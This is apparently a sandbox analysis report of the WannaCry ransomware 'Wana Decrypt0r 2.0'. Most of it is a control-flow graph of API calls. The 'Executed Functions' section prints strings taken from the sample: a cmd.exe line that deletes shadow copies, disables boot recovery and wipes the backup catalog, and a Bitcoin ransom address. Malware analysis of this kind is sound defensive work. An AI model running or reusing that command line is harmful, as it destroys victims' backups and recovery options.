5008->5053 5009->4988 5010->4988 5012 412982 5012->4988 5143 412990 5013->5143 5015 4129f8 5015->4988 5017 412a15 5016->5017 5018 412a09 5016->5018 5019 412a1a 5017->5019 5205 4127a0 5017->5205 5018->4993 5019->4993 5022 412a7d #825 5022->4993 5023 412a44 #825 5024 412a4d 5023->5024 5025 412a61 #825 5024->5025 5026 412a6a #825 5024->5026 5025->5026 5026->5022 5028 412815 5027->5028 5029 41287a 5027->5029 5028->5029 5030 41283d #823 5028->5030 5040 411c00 5029->5040 5030->5029 5032 41289d 5033 4128a6 5032->5033 5034 4128f8 #823 5032->5034 5035 4128e5 5033->5035 5036 4128b4 #825 5033->5036 5037 4128bd 5033->5037 5034->5006 5035->5006 5036->5037 5038 4128d6 #825 5037->5038 5039 4128cd #825 5037->5039 5038->5035 5039->5038 5041 411c10 5040->5041 5042 411ce2 5040->5042 5041->5042 5043 411c1a GetCurrentDirectoryA 5041->5043 5042->5032 5044 411c45 5043->5044 5045 411c80 SetFilePointer 5044->5045 5046 411c9e 5044->5046 5045->5046 5047 411c92 5045->5047 5048 4108a0 CreateFileA SetFilePointer #823 SetFilePointer 5046->5048 5047->5032 5049 411caf 5048->5049 5050 411cb6 5049->5050 5051 410dc0 9 API calls 5049->5051 5050->5032 5052 411cc7 5051->5052 5052->5032 5054 412231 5053->5054 5055 411d11 5053->5055 5054->5012 5055->5054 5059 411d27 5055->5059 5086 411ac0 5055->5086 5057 411d37 5057->5012 5058 411dc2 5061 411ddc 5058->5061 5098 4113e0 5058->5098 5059->5057 5059->5058 5093 411390 5059->5093 5104 411350 5061->5104 5066 411e15 5067 411e1c 5066->5067 5131 410a50 5066->5131 5067->5012 5069 411e3e 5070 411e45 5069->5070 5071 411e56 #823 5069->5071 5070->5012 5138 410af0 5071->5138 5073 411e78 5074 411e83 #825 5073->5074 5075 411e9d _mbsstr 5073->5075 5074->5012 5077 411f15 _mbsstr 5075->5077 5077->5075 5078 411f2c _mbsstr 5077->5078 5078->5075 5079 411f43 _mbsstr 5078->5079 5079->5075 5080 411f5a 5079->5080 5142 411b80 SystemTimeToFileTime 5080->5142 5082 412063 LocalFileTimeToFileTime 5085 4120b6 5082->5085 5083 412203 5083->5012 5084 4121fa #825 5084->5083 5085->5083 5085->5084 5087 411acd 5086->5087 5089 411ad6 5086->5089 5087->5059 5088 411add 5088->5059 5089->5088 5090 411b02 free 5089->5090 5092 411b11 5089->5092 5090->5092 5091 411b2a free 5091->5059 5092->5091 5094 4113a0 5093->5094 5095 411399 5093->5095 5096 411000 SetFilePointer SetFilePointer ReadFile 5094->5096 5095->5058 5097 4113c7 5096->5097 5097->5058 5099 4113f0 5098->5099 5100 4113e9 5098->5100 5101 4113f7 5099->5101 5102 411000 SetFilePointer SetFilePointer ReadFile 5099->5102 5100->5058 5101->5058 5103 411444 5102->5103 5103->5058 5105 411000 SetFilePointer SetFilePointer ReadFile 5104->5105 5106 41137f 5105->5106 5107 411460 5106->5107 5108 410a50 SetFilePointer SetFilePointer 5107->5108 5109 411491 5108->5109 5110 411498 5109->5110 5111 410c00 ReadFile 5109->5111 5110->5066 5112 4114af 5111->5112 5113 410bb0 ReadFile 5112->5113 5114 4114d7 5113->5114 5115 410bb0 ReadFile 5114->5115 5116 4114ee 5115->5116 5117 410bb0 ReadFile 5116->5117 5118 411505 5117->5118 5119 410c00 ReadFile 5118->5119 5120 41153b 5119->5120 5121 410c00 ReadFile 5120->5121 5122 411552 5121->5122 5123 410c00 ReadFile 5122->5123 5125 411586 5123->5125 5124 410c00 ReadFile 5126 4115ba 5124->5126 5125->5124 5127 410bb0 ReadFile 5126->5127 5129 4115ee 5127->5129 5128 410bb0 ReadFile 5130 411621 5128->5130 5129->5128 5130->5066 5132 410a5a 5131->5132 5135 410aaa 5131->5135 5133 410a82 5132->5133 5134 410a69 SetFilePointer 5132->5134 5132->5135 5136 410aa4 5133->5136 5137 410a90 SetFilePointer 5133->5137 5134->5069 5135->5069 5136->5069 5137->5069 5139 410b31 5138->5139 5140 410b07 ReadFile 5138->5140 5139->5073 5141 410b22 5140->5141 5141->5073 5142->5082 5144 4129a3 5143->5144 5145 412998 5143->5145 5146 4129a8 5144->5146 5149 412360 5144->5149 5145->5015 5146->5015 5148 4129cf 5148->5015 5150 412378 5149->5150 5151 41239c 5149->5151 5155 4124ab 5150->5155 5156 41238a 5150->5156 5161 411ac0 free free 5150->5161 5152 41240e 5151->5152 5153 4123b7 5151->5153 5158 411ac0 free free 5151->5158 5154 411810 SetFilePointer SetFilePointer ReadFile 5152->5154 5160 4123c8 5153->5160 5164 4123e5 5153->5164 5168 411390 SetFilePointer SetFilePointer ReadFile 5153->5168 5159 412431 5154->5159 5157 4124bf 5155->5157 5162 4124dc 5155->5162 5165 411390 SetFilePointer SetFilePointer ReadFile 5155->5165 5156->5148 5157->5148 5158->5153 5163 412442 5159->5163 5166 411ac0 free free 5159->5166 5160->5148 5161->5155 5167 4124f6 5162->5167 5170 4113e0 SetFilePointer SetFilePointer ReadFile 5162->5170 5163->5148 5169 4123ff 5164->5169 5172 4113e0 SetFilePointer SetFilePointer ReadFile 5164->5172 5165->5162 5166->5163 5171 411cf0 14 API calls 5167->5171 5168->5164 5173 411660 8 API calls 5169->5173 5170->5162 5174 412506 5171->5174 5172->5164 5173->5152 5175 412578 5174->5175 5179 412510 5174->5179 5176 41257d 5175->5176 5180 4125da 5175->5180 5185 4125df wsprintfA 5175->5185 5187 412671 wsprintfA 5175->5187 5182 412637 5176->5182 5183 411660 8 API calls 5176->5183 5177 412515 5177->5148 5178 41253f 5181 412250 GetFileAttributesA CreateDirectoryA GetFileAttributesA CreateDirectoryA 5178->5181 5179->5177 5179->5178 5184 412559 5179->5184 5180->5185 5186 412547 5181->5186 5182->5148 5188 4126ad 5183->5188 5190 412250 GetFileAttributesA CreateDirectoryA GetFileAttributesA CreateDirectoryA 5184->5190 5189 412250 GetFileAttributesA CreateDirectoryA GetFileAttributesA CreateDirectoryA 5185->5189 5186->5148 5191 412250 GetFileAttributesA CreateDirectoryA GetFileAttributesA CreateDirectoryA 5187->5191 5192 4126ba #823 5188->5192 5201 4126cd 5188->5201 5193 41260a CreateFileA 5189->5193 5194 412566 5190->5194 5191->5193 5192->5201 5193->5176 5194->5148 5196 411810 SetFilePointer SetFilePointer ReadFile 5196->5201 5197 412728 5198 412776 5197->5198 5199 41276f CloseHandle 5197->5199 5202 411ac0 free free 5198->5202 5199->5198 5200 412704 WriteFile 5200->5197 5200->5201 5201->5196 5201->5197 5201->5200 5203 412746 SetFileTime 5201->5203 5204 41277e 5202->5204 5203->5197 5204->5148 5206 4127b1 5205->5206 5207 4127a9 5205->5207 5209 4127c7 5206->5209 5211 410f70 5206->5211 5208 411ac0 2 API calls 5207->5208 5208->5206 5209->5022 5209->5023 5209->5024 5212 410f80 5211->5212 5213 410f79 5211->5213 5214 410f8d 5212->5214 5215 411ac0 free free 5212->5215 5213->5209 5216 4109c0 CloseHandle #825 5214->5216 5215->5214 5217 410f98 free 5216->5217 5217->5209 5220 40d8ec 5218->5220 5219 40daad closesocket 5221 40baa8 5219->5221 5220->5219 5220->5221 5221->4877 5223 40c9f6 #823 5222->5223 5227 40ca40 5223->5227 5225 40ca81 5225->4940 5226 40ca87 #825 5226->5225 5227->5225 5227->5226 5229 40cbf3 5228->5229 5230 40cb00 5228->5230 5229->4947 5231 40cb26 5230->5231 5237 40cb90 5230->5237 5232 40cb31 5231->5232 5233 40cb2c ?_Xran@std@ 5231->5233 5247 40cd80 5232->5247 5233->5232 5234 40cbe9 5236 40cc60 5 API calls 5234->5236 5236->5229 5237->5234 5239 40cbaa 5237->5239 5238 40cb38 5241 40cb6a 5238->5241 5242 40cb47 memmove 5238->5242 5240 40c7b0 #825 5239->5240 5243 40cbb3 5240->5243 5245 40cd80 4 API calls 5241->5245 5264 40cc60 5242->5264 5243->4947 5246 40cb7d 5245->5246 5246->4947 5248 40cd93 5247->5248 5249 40ce27 5247->5249 5248->5249 5250 40cdd0 5248->5250 5251 40cdc9 ?_Xlen@std@ 5248->5251 5249->5238 5252 40cdf8 5250->5252 5255 40cde2 5250->5255 5251->5250 5253 40ce0a 5252->5253 5254 40cdfc 5252->5254 5253->5249 5260 40c7b0 #825 5253->5260 5256 40c7b0 #825 5254->5256 5257 40cde6 5255->5257 5258 40ce1f 5255->5258 5259 40ce05 5256->5259 5261 40c7b0 #825 5257->5261 5262 40c9c0 2 API calls 5258->5262 5259->5238 5260->5258 5263 40cdf3 5261->5263 5262->5249 5263->5238 5265 40cc73 5264->5265 5266 40cc6e ?_Xlen@std@ 5264->5266 5267 40cd04 5265->5267 5268 40cc88 5265->5268 5269 40ccae 5265->5269 5266->5265 5267->5268 5274 40cd08 5267->5274 5270 40cc90 5268->5270 5273 40c9c0 2 API calls 5268->5273 5272 40ccd9 #825 5269->5272 5276 40ccc4 5269->5276 5270->5241 5271 40cd4c 5277 40c9c0 2 API calls 5271->5277 5272->5276 5273->5270 5274->5270 5274->5271 5275 40cd43 #825 5274->5275 5278 40cd26 5274->5278 5275->5271 5276->5241 5279 40cd5d 5277->5279 5280 40c9c0 2 API calls 5278->5280 5279->5241 5281 40cd3b 5280->5281 5281->5241 5282->4911 5283->4911 5285 412af5 5284->5285 5286 412ac8 free 5284->5286 5285->4867 5286->5285 5320 401e60 VariantTimeToSystemTime 5288->5320 5290 401e42 5321 401de0 sprintf 5290->5321 5292 401e51 5292->4740 5294 408337 5293->5294 5295 4082fb #4278 #858 #800 5293->5295 5296 408344 5294->5296 5297 408378 time 5294->5297 5295->5294 5298 408359 #800 5296->5298 5299 40834d #1200 5296->5299 5300 40839c 5297->5300 5301 40844d time 5297->5301 5302 40828c 5298->5302 5299->5298 5300->5301 5303 4083a9 5300->5303 5301->5303 5304 408466 5301->5304 5302->4749 5302->4750 5305 4083bb 5303->5305 5306 40846c fopen 5303->5306 5304->5306 5307 4083c4 #540 time #2818 #1200 #800 5305->5307 5308 40842e #800 5305->5308 5309 4084b5 fread fclose 5306->5309 5310 408496 #800 5306->5310 5307->5308 5308->5302 5322 40be90 strncpy strncpy strncpy 5309->5322 5310->5302 5312 4084e7 5323 40c060 5312->5323 5314 408501 5315 408516 5314->5315 5316 408538 5314->5316 5317 408549 #800 5315->5317 5318 40851a #1200 time 5315->5318 5316->5317 5319 40853c #1200 5316->5319 5317->5302 5318->5317 5319->5317 5320->5290 5321->5292 5322->5312 5324 40c07f 5323->5324 5325 40bed0 110 API calls 5324->5325 5326 40c0ba 5325->5326 5327 40c0c1 5326->5327 5328 40c0e7 5326->5328 5329 40c0cc SendMessageA 5327->5329 5347 40c0db 5327->5347 5330 40c104 5328->5330 5331 40c0f8 SendMessageA 5328->5331 5329->5347 5332 40dd00 4 API calls 5330->5332 5331->5330 5335 40c116 5332->5335 5333 40dbf0 free 5334 40c173 5333->5334 5334->5314 5336 40c144 5335->5336 5337 40c17b 5335->5337 5338 40c154 5336->5338 5339 40c148 SendMessageA 5336->5339 5340 40c18b 5337->5340 5341 40c17f SendMessageA 5337->5341 5342 40dbf0 free 5338->5342 5339->5338 5343 40c1b4 5340->5343 5344 40c1e8 5340->5344 5341->5340 5342->5334 5345 40c1c4 5343->5345 5346 40c1b8 SendMessageA 5343->5346 5344->5347 5348 40c1f5 SendMessageA 5344->5348 5349 40dbf0 free 5345->5349 5346->5345 5347->5333 5348->5347 5349->5334 5351 4076d9 time 5350->5351 5352 4076d7 5351->5352 5352->5351 5353 407771 sprintf 5352->5353 5354 405180 4 API calls 5352->5354 5355 407842 SendMessageA SendMessageA #540 5352->5355 5353->5352 5354->5352 5356 407894 5355->5356 5357 4078aa _ftol #2818 #2818 5356->5357 5358 4078db #2818 #2818 5356->5358 5359 407911 #3092 #6199 5357->5359 5358->5359 5360 407990 #800 5359->5360 5361 407940 5359->5361 5360->4758 5361->5360 5362 407952 InvalidateRect 5361->5362 5363 405920 2 API calls 5362->5363 5364 407978 5363->5364 5365 405920 2 API calls 5364->5365 5365->5360 5366->4784 5367->4786 5368->4788 5392 4044c0 5369->5392 5372 404210 #858 #800 5372->4792 5396 405950 InvalidateRect 5373->5396 5375 40592d 5397 405970 InvalidateRect 5375->5397 5377 40593e 5378 405860 5377->5378 5379 405872 5378->5379 5380 405875 GetClientRect #6197 5378->5380 5379->5380 5380->4797 5382 4058d2 5381->5382 5383 4058d5 GetClientRect #6197 5381->5383 5382->5383 5383->4799 5385 4051f8 5384->5385 5386 40519e #860 5384->5386 5385->4801 5387 4051b1 5386->5387 5388 4051d1 RedrawWindow 5387->5388 5389 4051ea InvalidateRect 5387->5389 5388->4801 5389->5385 5390->4811 5391->4813 5393 4044f8 GetObjectA CreateFontIndirectA #1641 5392->5393 5394 4044ce GetParent #2864 SendMessageA #2860 5392->5394 5395 40427a #2818 #535 5393->5395 5394->5393 5394->5395 5395->5372 5396->5375 5397->5377 5399 406b88 #537 #924 sprintf #800 #800 5398->5399 5400 406bda 5398->5400 5399->5400 5403 406cf0 5400->5403 5402 406be6 #800 5402->4822 5404 406d16 5403->5404 5405 406d19 SendMessageA #353 SendMessageA #1979 5403->5405 5404->5405 5408 406dc0 SendMessageA #823 5405->5408 5409 406e00 SendMessageA 5408->5409 5410 406d7b #665 5408->5410 5412 406ed2 #825 5409->5412 5413 406e2f _strnicmp 5409->5413 5410->5402 5412->5410 5414 406e4b _strnicmp 5413->5414 5415 406e67 5413->5415 5414->5415 5415->5412 5415->5413 5416 406e87 SendMessageA #6136 5415->5416 5416->5415 6153 4019d0 EnableWindow 6154 4059d0 #561 6155 404dd0 6 API calls 6156 404e3b SendMessageA #3092 6155->6156 6158 404e60 SendMessageA #3092 6156->6158 6160 404e93 SendMessageA 6158->6160 6161 404e7f SendMessageA 6158->6161 6565 40dbd0 6566 40dbf0 free 6565->6566 6567 40dbd8 6566->6567 6568 40dbe8 6567->6568 6569 40dbdf #825 6567->6569 6569->6568 6379 4102d0 free 5930 4130d4 ??1type_info@@UAE 5931 4130e3 #825 5930->5931 5932 4130ea 5930->5932 5931->5932 5934 4068e0 5935 4068ef 5934->5935 5936 40691a #5280 5935->5936 5937 4068fc 5935->5937 5529 4043e0 #4284 #3874 #5277 5933 40a0e0 Escape 6380 4086e0 #470 GetClientRect SendMessageA #6734 #323 6381 408765 6380->6381 6382 408838 6381->6382 6385 4087bd CreateCompatibleDC #1640 6381->6385 6383 408885 #2754 6382->6383 6384 408869 FillRect 6382->6384 6386 408897 #2381 6383->6386 6384->6386 6412 409e70 CreateCompatibleBitmap #1641 6385->6412 6389 4088b4 6386->6389 6390 408a7d 6386->6390 6389->6390 6392 4088be #3797 6389->6392 6394 409f80 BitBlt 6390->6394 6408 408a5e 6390->6408 6391 408809 6413 409f10 6391->6413 6395 408901 _ftol 6392->6395 6397 408abe 6394->6397 6402 40895e _ftol 6395->6402 6404 40897e 6395->6404 6396 408817 #6194 6396->6382 6399 408ad5 #5785 6397->6399 6400 408ac6 #5785 6397->6400 6399->6408 6400->6408 6402->6404 6403 408afe #640 #755 6405 4089a7 FillRect 6404->6405 6406 4089b8 FillRect 6404->6406 6407 4089ca 6404->6407 6405->6407 6406->6407 6407->6408 6416 409f80 6407->6416 6419 409e20 #2414 6408->6419 6410 408a50 6411 409f10 2 API calls 6410->6411 6411->6408 6412->6391 6414 409f25 #5785 6413->6414 6415 409f18 #5785 6413->6415 6414->6396 6415->6396 6417 409f88 6416->6417 6418 409f8b BitBlt 6416->6418 6417->6418 6418->6410 6419->6403 6420 40c6e0 6421 40c722 #825 6420->6421 6422 40c6ef 6420->6422 6423 40c7b0 #825 6422->6423 6424 40c70d #825 6423->6424 6424->6422 6425 40c721 6424->6425 6425->6421 6583 40cfe0 6590 40d4c0 6583->6590 6585 40cffb 6586 40d4c0 4 API calls 6585->6586 6589 40d05e 6585->6589 6587 40d031 6586->6587 6588 40d4c0 4 API calls 6587->6588 6587->6589 6588->6589 6591 40d4d0 6590->6591 6592 40d4d9 6590->6592 6591->6585 6593 40d4e4 6592->6593 6594 40d4ee time 6592->6594 6593->6585 6595 40d575 6594->6595 6598 40d50a 6594->6598 6596 40d58a 6595->6596 6597 40d2b0 memmove 6595->6597 6596->6585 6597->6596 6598->6595 6599 40d569 time 6598->6599 6600 40d551 Sleep 6598->6600 6599->6595 6599->6598 6600->6598 6574 404fe0 #6334 6575 404ff4 #4853 6574->6575 6576 404ffb 6574->6576 6575->6576 6174 405df0 6179 405d90 #654 #765 6174->6179 6176 405df8 6177 405e08 6176->6177 6178 405dff #825 6176->6178 6178->6177 6179->6176 5938 4090f0 5939 409124 #540 #3874 5938->5939 5940 40971e 5938->5940 5941 409185 5939->5941 5942 40915e 5939->5942 5943 40919c _ftol 5941->5943 5944 40918e #860 5941->5944 5945 40917c 5942->5945 5948 40916e #860 5942->5948 5943->5945 5944->5943 5946 4091d5 SendMessageA #2860 5945->5946 5947 40970a #800 5945->5947 5949 409208 5946->5949 5947->5940 5948->5945 5964 409870 5949->5964 5951 409232 #5875 #6170 GetWindowOrgEx #540 #2818 5953 409329 GetObjectA 5951->5953 5954 40935b GetTextExtentPoint32A 5951->5954 5953->5954 5956 40938b GetViewportOrgEx 5954->5956 5962 409411 5956->5962 5957 409630 #800 5958 409662 5957->5958 5959 40965a #6170 5957->5959 5960 409685 #2414 #2414 5958->5960 5961 40967d #5875 5958->5961 5959->5958 5960->5947 5961->5960 5962->5957 5965 409880 #2414 5964->5965 5965->5951 6426 406ef0 6427 406f03 #823 6426->6427 6428 406f6a 6426->6428 6427->6428 6429 406f25 SendMessageA ShellExecuteA #825 6427->6429 6429->6428 6163 4011f0 6164 40120b #5280 6163->6164 6165 4011fd 6163->6165 6165->6164 6166 401203 6165->6166 6167 4019f0 #765 6168 401a08 6167->6168 6169 4019ff #825 6167->6169 6169->6168 6170 4059f0 6171 4059f8 6170->6171 6172 405a08 6171->6172 6173 4059ff #825 6171->6173 6173->6172 6601 4067f0 IsIconic 6602 406808 7 API calls 6601->6602 6603 40689a #2379 6601->6603 6604 409ff0 ExtTextOutA 5967 405080 5972 4050a0 #800 #795 5967->5972 5969 405088 5970 405098 5969->5970 5971 40508f #825 5969->5971 5971->5970 5972->5969 5973 40d880 5976 40d0a0 time srand rand 5973->5976 5975 40d88f 5977 40d0e1 5976->5977 5978 40d0d3 rand 5976->5978 5977->5975 5978->5977 5978->5978 6180 403180 6185 4031a0 #2414 #2414 #616 #693 #641 6180->6185 6182 403188 6183 403198 6182->6183 6184 40318f #825 6182->6184 6184->6183 6185->6182 6186 405580 GetClientRect 6187 4055c7 7 API calls 6186->6187 6188 4057c9 6186->6188 6189 405666 6187->6189 6190 405669 #5785 CreateSolidBrush FillRect 6187->6190 6189->6190 6191 405770 6 API calls 6190->6191 6194 4056b2 6190->6194 6191->6188 6193 4056cd BitBlt 6193->6194 6194->6191 6194->6193 6195 408580 #609 6196 408598 6195->6196 6197 40858f #825 6195->6197 6197->6196 6431 404280 6432 404290 6431->6432 6433 40428b 6431->6433 6435 4042a0 #6663 6432->6435 6436 4042fd #2379 6432->6436 6434 404530 5 API calls 6433->6434 6434->6432 6437 4042b5 GetParent #2864 SendMessageA #2379 6435->6437 6438 4042e7 ShellExecuteA 6435->6438 6438->6436 6605 406380 6610 405e10 #2414 #2414 #2414 #2414 6605->6610 6607 406388 6608 406398 6607->6608 6609 40638f #825 6607->6609 6609->6608 6639 403f20 #2414 6610->6639 6612 405ed6 6640 403f20 #2414 6612->6640 6614 405eec 6641 403f20 #2414 6614->6641 6616 405f02 6642 403f20 #2414 6616->6642 6618 405f18 #2414 6643 403f20 #2414 6618->6643 6620 405f50 6644 403f20 #2414 6620->6644 6622 405f66 6645 403f20 #2414 6622->6645 6624 405f7c 6 API calls 6646 4050a0 #800 #795 6624->6646 6626 405ffe 6647 4050a0 #800 #795 6626->6647 6628 40600e 6648 404170 #2414 #800 #800 #795 6628->6648 6630 40601e 6649 404170 #2414 #800 #800 #795 6630->6649 6632 40602e 6650 404170 #2414 #800 #800 #795 6632->6650 6634 40603e 6651 404170 #2414 #800 #800 #795 6634->6651 6636 40604e #654 #765 6652 405d90 #654 #765 6636->6652 6638 406087 #609 #609 #616 #641 6638->6607 6639->6612 6640->6614 6641->6616 6642->6618 6643->6620 6644->6622 6645->6624 6646->6626 6647->6628 6648->6630 6649->6632 6650->6634 6651->6636 6652->6638 6653 409b80 6654 409b99 6653->6654 6655 409ba5 #2379 6654->6655 6656 409b9d 6654->6656 6657 40db80 recv 5519 407a90 5520 407bf4 #2385 5519->5520 5521 407abd 5519->5521 5521->5520 5528 404c40 #324 #540 #860 5521->5528 5523 407ae2 #2514 5524 407b72 #2414 #2414 #800 #641 5523->5524 5525 407afb 6 API calls 5523->5525 5524->5520 5526 4082c0 141 API calls 5525->5526 5527 407b61 #800 5526->5527 5527->5524 5528->5523 6198 404d90 #2370 #2289 5979 401091 5984 4010c0 #765 #641 5979->5984 5981 4010a8 5982 4010b8 5981->5982 5983 4010af #825 5981->5983 5983->5982 5984->5981 6439 414290 #825 6217 4085a0 #781 6218 4085b8 6217->6218 6219 4085af #825 6217->6219 6219->6218 5530 4063a0 15 API calls 6002 4034a0 6 API calls 6203 4035a0 SendMessageA 6204 4035e5 OpenClipboard 6203->6204 6205 4037e9 6203->6205 6204->6205 6206 4035f7 SendMessageA 6204->6206 6207 403681 GlobalAlloc 6206->6207 6208 40360f #3301 #924 #800 #800 SendMessageA 6206->6208 6209 4037e3 CloseClipboard 6207->6209 6210 40369b GlobalLock 6207->6210 6208->6207 6208->6208 6209->6205 6211 4036b6 SendMessageA 6210->6211 6212 4036aa GlobalFree 6210->6212 6213 4037c3 GlobalUnlock EmptyClipboard SetClipboardData 6211->6213 6214 4036d6 8 API calls 6211->6214 6212->6209 6213->6209 6216 4037bf 6214->6216 6216->6213 5985 4098a0 5990 4097e0 5985->5990 5987 4098a8 5988 4098b8 5987->5988 5989 4098af #825 5987->5989 5989->5988 5991 409815 5990->5991 5992 40981e #2414 #2414 5990->5992 5991->5992 5992->5987 5993 40a0a0 5994 40a0a8 5993->5994 5995 40a0ab GrayStringA 5993->5995 5994->5995 6450 40d6a0 htons socket 6451 40d6f3 bind 6450->6451 6452 40d814 6450->6452 6453 40d717 ioctlsocket 6451->6453 6454 40d809 6451->6454 6453->6454 6455 40d732 connect select 6453->6455 6454->6452 6456 40d80d closesocket 6454->6456 6455->6454 6457 40d78b __WSAFDIsSet 6455->6457 6456->6452 6458 40d79a __WSAFDIsSet 6457->6458 6459 40d7ac ioctlsocket setsockopt setsockopt 6457->6459 6458->6454 6458->6459 6446 40c6a0 6447 40c6aa 6446->6447 6449 40c6b8 6446->6449 6448 40c6be #825 6447->6448 6447->6449 6448->6449 6460 404aa3 6461 404ab1 6460->6461 6462 404aaa GlobalFree 6460->6462 6463 404ac0 6461->6463 6464 404ab9 CloseHandle 6461->6464 6462->6461 6464->6463 6003 407cb0 6006 4030e0 #324 #567 #567 6003->6006 6005 407cd6 6 API calls 6006->6005 6220 407db0 6227 401000 #324 #567 6220->6227 6222 407dd7 time 6223 407e09 #2514 6222->6223 6224 407dfe 6222->6224 6225 407e34 #765 #641 6223->6225 6226 407e28 time 6223->6226 6224->6223 6226->6225 6227->6222 6465 40ceb0 6466 40cebc 6465->6466 6467 4130bb 2 API calls 6466->6467 6468 40ceda 6467->6468 6470 4102b0 calloc

                                        Executed Functions

                                        Function 004064D0 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 256stringwindowtimeCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                        • #4710.MFC42 ref: 004064DC
                                        • SendMessageA.USER32(?,00000080,00000001,?), ref: 004064F9
                                        • SendMessageA.USER32(?,00000080,00000000,?), ref: 0040650D
                                          • Part of subcall function 00401C70: wcscat.MSVCRT ref: 00401CC1
                                          • Part of subcall function 00401C70: RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
                                          • Part of subcall function 00401C70: GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
                                          • Part of subcall function 00401C70: RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
                                          • Part of subcall function 00401C70: RegCloseKey.KERNELBASE(00000000), ref: 00401DA3
                                        • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00406541
                                        • strrchr.MSVCRT ref: 00406554
                                        • strrchr.MSVCRT ref: 00406564
                                        • SetCurrentDirectoryA.KERNEL32(?), ref: 00406571
                                        • time.MSVCRT ref: 004065D1
                                        • __p___argc.MSVCRT(00000202,?), ref: 004065FA
                                        • __p___argv.MSVCRT ref: 0040661A
                                        • ExitProcess.KERNEL32 ref: 0040665B
                                        • __p___argv.MSVCRT ref: 00406666
                                        • ExitProcess.KERNEL32 ref: 004066A7
                                        • __p___argv.MSVCRT ref: 004066B2
                                        • Sleep.KERNELBASE(00002710), ref: 004066F3
                                        • sprintf.MSVCRT ref: 0040676A
                                        • ExitProcess.KERNEL32 ref: 00406786
                                        • SetWindowTextW.USER32(?,Wana Decrypt0r 2.0), ref: 0040679C
                                        • SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004067C6
                                        • SetTimer.USER32(?,000003EA,00007530,00000000), ref: 004067D8
                                        Strings
                                        • /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, xrefs: 004066FE
                                        • Wana Decrypt0r 2.0, xrefs: 00406796
                                        • cmd.exe, xrefs: 0040671C
                                        • 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94, xrefs: 00406595
                                        • %s %s, xrefs: 00406764
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: ExitProcess__p___argv$CurrentDirectoryMessageSendTimerstrrchr$#4710CloseCreateFileModuleNameSleepTextValueWindow__p___argcsprintftimewcscat
                                        • String ID: %s %s$/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet$13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94$Wana Decrypt0r 2.0$cmd.exe
                                        • API String ID: 623806192-606506946
                                        • Opcode ID: ae9b914f860960fc1fe1eb8876ac2c32c64d9403cfc96aba4f43f79c31e3e0e0
                                        • Instruction ID: 76468553a1f47653d6b265dfd970fa21b418b24b97d30d9546a7e2687b9e40c0
                                        • Opcode Fuzzy Hash: ae9b914f860960fc1fe1eb8876ac2c32c64d9403cfc96aba4f43f79c31e3e0e0
                                        • Instruction Fuzzy Hash: 72816C35704301ABD7109F309C41BEB7B95AF99304F15493AFD4AAB3D1DA7AE8188B98
                                        Function 004060E0 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 139windowCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                        • #324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
                                        • #567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
                                        • #567.MFC42(00000066,00000000), ref: 0040612F
                                        • #567.MFC42(00000066,00000000), ref: 00406147
                                          • Part of subcall function 004085C0: #567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
                                          • Part of subcall function 004085C0: #341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
                                          • Part of subcall function 004085C0: GetSysColor.USER32 ref: 0040861D
                                          • Part of subcall function 004085C0: GetSysColor.USER32(00000009), ref: 00408624
                                          • Part of subcall function 004085C0: GetSysColor.USER32(00000012), ref: 0040862B
                                          • Part of subcall function 004085C0: GetSysColor.USER32(00000002), ref: 00408632
                                          • Part of subcall function 004085C0: KiUserCallbackDispatcher.NTDLL(00001008,00000000,00000000,00000000), ref: 0040864A
                                          • Part of subcall function 004085C0: GetSysColor.USER32(0000001B), ref: 0040865C
                                          • Part of subcall function 004085C0: #6140.MFC42(00000002,000000FF), ref: 00408667
                                          • Part of subcall function 00404090: #567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
                                          • Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
                                          • Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
                                          • Part of subcall function 00404090: #860.MFC42(00421798), ref: 004040F6
                                          • Part of subcall function 00404090: #858.MFC42(00000000,00421798), ref: 004040FE
                                          • Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F89), ref: 00404118
                                          • Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F00), ref: 00404123
                                          • Part of subcall function 00405000: #567.MFC42(?,?,?,?,00413893,000000FF), ref: 0040501E
